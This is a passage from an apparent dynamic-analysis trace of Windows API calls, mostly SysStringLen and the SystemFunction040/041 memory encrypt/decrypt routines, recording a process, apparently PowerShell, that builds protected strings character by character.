(param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋䪁纭흒䰐㟹噼⥺") returned 0x20 [0244.947] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.947] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7e\퇚쪏䯈䙺烢⋩) returned 0x20 [0244.948] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.948] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋Ე꧚濥怆释ﳩ쬇틌") returned 0x20 [0244.948] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋Ე꧚濥怆释ﳩ쬇틌") returned 0x20 [0244.948] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.948] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS近죊穋") returned 0x20 [0244.948] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.948] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋鰖鈣擩௒ᏸ䵮ᵭꃿ") returned 0x20 [0244.948] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋鰖鈣擩௒ᏸ䵮ᵭꃿ") returned 0x20 [0244.948] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.948] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS9죊穋") returned 0x20 [0244.948] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.948] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋䲿嘥令딭䀔桕㯙") returned 0x20 [0244.948] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋䲿嘥令딭䀔桕㯙") returned 0x20 [0244.948] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.949] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS95穋") returned 0x20 [0244.949] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.949] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋疜㬙撹㻷渴補") returned 0x20 [0244.949] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋疜㬙撹㻷渴補") returned 0x20 [0244.949] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.949] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS954") returned 0x20 [0244.949] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.949] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋섉㡬ㅣ맳쵽䉱밒") returned 0x20 [0244.949] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋섉㡬ㅣ맳쵽䉱밒") returned 0x20 [0244.949] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.949] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS954R") returned 0x20 [0244.949] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.950] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋棙飈淘㱶⥁囔炲") returned 0x20 [0244.950] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋棙飈淘㱶⥁囔炲") returned 0x20 [0244.950] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.950] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS954Rs") returned 0x20 [0244.950] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.950] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ") returned 0x20 [0244.950] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ") returned 0x20 [0244.950] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ") returned 0x20 [0244.951] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ⡄") returned 0x28 [0244.951] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.951] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS954Rsq곀꺢㼐ၹ똥\⋘) returned 0x28 [0244.951] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.951] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ降顬矿\站﴾ᜀ䕿∁) returned 0x28 [0244.951] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ降顬矿\站﴾ᜀ䕿∁) returned 0x28 [0244.951] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.951] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS954Rsqd꺢㼐ၹ똥\⋘) returned 0x28 [0244.951] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.951] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ蟅婏ﺳ볰銨壎") returned 0x28 [0244.951] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ蟅婏ﺳ볰銨壎") returned 0x28 [0244.951] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.952] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS954Rsqd4㼐ၹ똥\⋘) returned 0x28 [0244.952] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.952] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ℞縀뚊钺퐥") returned 0x28 [0244.952] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ℞縀뚊钺퐥") returned 0x28 [0244.952] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.952] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS954Rsqd4i㼐ၹ똥\⋘) returned 0x28 [0244.952] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.952] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ쿍「빞䢉హ殈㿡") returned 0x28 [0244.952] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ쿍「빞䢉హ殈㿡") returned 0x28 [0244.952] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.952] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS954Rsqd4iwၹ똥\⋘) returned 0x28 [0244.952] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.953] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ䨍鑔ᩁ倓⪆ﷱݒ퇬") returned 0x28 [0244.953] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ䨍鑔ᩁ倓⪆ﷱݒ퇬") returned 0x28 [0244.953] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.953] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS954Rsqd4iwt똥\⋘) returned 0x28 [0244.953] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.953] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫᔒ䖇骛㙇䤬ۻ乖") returned 0x28 [0244.953] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫᔒ䖇骛㙇䤬ۻ乖") returned 0x28 [0244.953] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.953] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS954Rsqd4iwtt\⋘) returned 0x28 [0244.953] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.953] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ徵㿞쌶躕狵󴙙") returned 0x28 [0244.954] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫ徵㿞쌶躕狵󴙙") returned 0x28 [0244.954] SystemFunction041 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.954] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS954Rsqd4iwttZ") returned 0x28 [0244.954] SystemFunction040 (in: Memory=0x5c9b66c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b66c) returned 0x0 [0244.954] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫട糽뢃ꓒꍊﻍｹ") returned 0x28 [0244.954] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫട糽뢃ꓒꍊﻍｹ") returned 0x28 [0244.954] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫട糽뢃ꓒꍊﻍｹ") returned 0x28 [0244.954] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫട糽뢃ꓒꍊﻍｹ") returned 0x30 [0244.954] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0244.955] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS954Rsqd4iwttZK䑨쿪Ḝ⢥幹趾㉂") returned 0x30 [0244.955] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0244.955] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫട糽뢃ꓒꍊﻍｹ昘맿返铈䧙ଋ칕栭") returned 0x30 [0244.955] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫട糽뢃ꓒꍊﻍｹ昘맿返铈䧙ଋ칕栭") returned 0x30 [0244.955] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0244.955] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS954Rsqd4iwttZKT쿪Ḝ⢥幹趾㉂") returned 0x30 [0244.955] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0244.955] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫട糽뢃ꓒꍊﻍｹ緅攏ꝛ魻랁\헚虿∟) returned 0x30 [0244.955] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫട糽뢃ꓒꍊﻍｹ緅攏ꝛ魻랁\헚虿∟) returned 0x30 [0244.955] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0244.955] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS954Rsqd4iwttZKTMḜ⢥幹趾㉂") returned 0x30 [0244.955] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0244.956] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫട糽뢃ꓒꍊﻍｹ跭苛यĥ鬅ꞽꙈ辻") returned 0x30 [0244.956] SysStringLen (param_1="计闯陈ꠣ燕蔧ᎾĆ墿៵⅜沠鋬復ⳡ귝㔟䌥찴鄵⑋챆跦뺺㡇ᝐ嚒㗪ꨫട糽뢃ꓒꍊﻍｹ跭苛यĥ鬅ꞽꙈ辻") returned 0x30 [0244.956] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0244.956] SysStringLen (param_1="QUXxO61W7RcYUn9LTnPnjM4M7eS954Rsqd4iwttZKTM=⢥幹趾㉂") returned 0x30 [0244.956] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0244.956] EtwEventActivityIdControl () returned 0x0 [0244.956] EtwEventActivityIdControl () returned 0x0 [0244.956] EtwEventActivityIdControl () returned 0x0 [0244.957] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.957] EtwEventActivityIdControl () returned 0x0 [0244.957] EtwEventActivityIdControl () returned 0x0 [0244.957] EtwEventActivityIdControl () returned 0x0 [0244.958] SysStringLen (param_1="") returned 0x8 [0244.958] SysStringLen (param_1="N") returned 0x8 [0244.958] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.958] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0244.958] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0244.958] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.958] SysStringLen (param_1="ND") returned 0x8 [0244.958] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.958] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0244.958] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0244.959] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.959] SysStringLen (param_1="NDZ") returned 0x8 [0244.959] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.959] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0244.959] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0244.959] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.959] SysStringLen (param_1="NDZl") returned 0x8 [0244.959] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.959] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0244.959] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0244.959] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.960] SysStringLen (param_1="NDZlO") returned 0x8 [0244.960] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.960] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0244.960] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0244.960] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.960] SysStringLen (param_1="NDZlOD") returned 0x8 [0244.960] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.960] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0244.960] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0244.960] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.960] SysStringLen (param_1="NDZlODR") returned 0x8 [0244.960] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.960] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0244.961] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0244.961] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.961] SysStringLen (param_1="NDZlODRm") returned 0x8 [0244.961] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.961] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0244.961] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0244.961] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0244.962] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0244.962] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.962] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0244.962] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.962] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0244.962] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0244.962] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.962] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0244.962] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.962] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0244.962] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0244.963] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.963] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0244.963] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.963] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0244.963] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0244.963] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.963] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0244.963] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.963] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0244.963] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0244.963] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.964] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0244.964] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.964] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0244.964] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0244.964] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.964] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0244.964] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.964] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0244.964] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0244.964] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.964] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0244.964] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.964] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0244.965] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0244.965] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.965] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0244.965] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.965] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0244.965] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0244.965] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0244.965] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0244.966] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.966] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0244.966] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0244.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0244.966] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.966] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0244.966] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0244.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0244.966] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.967] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0244.967] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.967] SysStringLen 